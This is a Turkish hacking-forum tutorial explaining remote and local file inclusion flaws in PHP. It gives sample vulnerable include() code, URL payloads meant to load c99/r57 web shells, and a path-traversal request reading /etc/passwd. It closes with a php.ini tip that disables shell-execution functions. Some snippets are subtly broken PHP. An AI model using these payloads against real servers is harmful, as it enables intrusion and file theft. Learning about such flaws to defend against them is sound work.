Remote / Local File Inclusion (RFI-LFI

Öncelikle Remote file inclusion(RFI), local file inclusion ne demek onları örenelim
smile.gif


Remote File inclusion: uzaktan dosya dahil etme.

Local File inclusion: yerel(serverdan) dosya dahil etme.



Remote File Inclusion: Öncelikle bu file inclusion açıgımızdan bahsetmeye başla-yalım.Dediğim gibi son zamanların en çok kullanılan ve bulunan açıklarından.

Bu açıklar sayesinde hedef siteye php shell’ler(c99,r57) upload edilebilir, hatta serverdaki tüm sitelere zarar verilebilir.Peki bu açıklar nasıl meydana gelirler birazdan ondan bahsedelim.

Php scriptlerini kodlayan coderlerın hepsi profesyonel değillerdir, yada binlerce satır yazılan kodlarda yapılan hatalardan ortaya çıkar bu File Include açıkları.Bir örnekle açıklamadan önce bazı 3-5 bilgi örenmeniz gerekmektedir.

Veriable: veriabler, php dilinde bilgileri bulunduran sepetler olarak düşebilirsiniz.

İnclude ve include_once: Kelime anlamı dahil etmedir.php dilinde bir dosya ya, başka bir dosyayı dahil etmeye yarar.Binlerce satır kodu tek bir kod la başka bir sayfada kodlanmış olarka gösterebilirsiniz.

Require ve require_once: Görevi bir üstteki include ve include_once ile aynıdır ama tek bir farkı vardır.O farkta; bir scriptte include ile bir dosyayı başka bir dosyaya dahil ettik, ama o dahil ettiğimiz dosya mevcut değil.Bu durumda o satırı php yorumlayıcısı atlar, hata mesajı gösterir ve o sayfanın kalan kodlarını yorumlar.Ama require de bu durum yoktur.require ile dahil edilen dosya mevcut değilse, bu sefer tek bir hata kodu gösterir php yorumlayıcısı ve sayfadaki diğer kodları okumayı durdurur.Bu fark bizim için önemsizdir, ama bilmenizde fayda var
smile.gif


Şimdi bir örnek yapalım..

<?
include ($xoron.’../config.php’) ;
?>

Üstteki kodun bulundugu dosyayı test.php olarak kaydedin ve bir php destekleyen siteye atın.test.php yi açtıgınızda bir hata alacaksınızdır.Bunun nedeni test.php ye dahil edilen config.php nin bulunamamasıdır
smile.gif


http://www.mysite.com/test.php?xoron...ell-adresiniz?

Test.php de bulunun $xoron veriableı tanımlı değildir.Yani sepet dolu değildir.Bizde o boş sepeti kendi kodumuzda yani c99 veya r57 shell’lerimizle doldurarak servera girebiliriz.

<?
$xoron: ‘files’;
include ($xoron.’../config.php’) ;
?>

Üstteki kodu test2.php olarak kaydedin ve php destekleyen sitenize atınız.

http://www.mysite.com/test.php?xoron...ell-adresiniz?

Yazarsanız açıgın çalışmadıgını göreceksinizdir.Bunun nedeni $xoron: ‘files’;

Bu kod ile $xoron veriablenın tanımlanması yani sepetin doldurulmasıdır.

Local File Inclusion: RFI açıgından bahsettikten sonra ise sıra geldi LFI açıklarına.Bu açıklar RFI dan daha az kullanılmaktadır ve etkiside RFI kadar yoktur.Biraz hakkında konuşalım LFI’nın
smile.gif
. Gene php coderların acemilikleri veya unutkanlıklarından meydana gelen açıklardır.LFI ile bir sitenin ftp’sindeki veya serverdaki dosyaları okuma iznimiz varsa okuyabiliriz.Her RFI açıgını bir LFI gibi kullanabiliriz ama ortada bir remote file include imkanımız varken local file include yapmamız saçma olurdu=) .

Bir örnekle açıklayalım
wink.gif


<?
include (’files/$cw/config.php’) ;
?>

Bu kodu test3.php olarak save edip php destekleyen bir servera atıp çalıştırdıgımızda gene hata alacagızdır,bunun neden, config.php nin bulunamamasıdır.Bu bizim için fark etmez bizim amacımız farklı.

Bu koddaki $cw veriablı tanımlı değildir bu yüzden aşagıdaki bir komutla okuma izni olan tüm dosyaları okuyabiliriz.

http://www.mysite.com/test3.php?cw=..../../etc/passwd

ben üstte serverın /etc/passwd dosyasını okudum siz isterseniz başka dosyalarıda okuyabilirsiniz.

<?
$cw : ‘conf’ ;
include (’files/$cw/config.php’) ;
?>



Bu dosyayı test4.php olarka save edip php destekleyen bir hostta attıgınızda LFI açıgının çalışmadıgını göreceksiniz.Bunun nedeni $cw : ‘conf’ ; bu kod ile tanımlı olmayan $cw veriablı tanımlanmıştır.Yani sepet doldurulmuştur.

Son zamanların en çok kullanılan ve hostingcilerin başına en çok bela açan açıkların başında gelmektedir.

File Inclusion açıklarından yararlanarak servera upload edilen php shell’lerden nasıl korunurum diye düşünüyorsanız işte cevabı….

/etc/php.ini dosyasını açın

disable_function satırını buluyoruz ve karşısına bunları ekliyoruz.

system,passthru,exec,popen,proc_close,proc_get_sta tus,proc_nice,proc_open,
allow_url_fopen,shell,shellexec,execute

service htttpd restart diyoruz

NOT: Bu fonksiyonlar disable yapıldıgında bazı scriptler serverınızda çalışmayacaktır ama bu açıklardan da korumuş olacaksınız.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.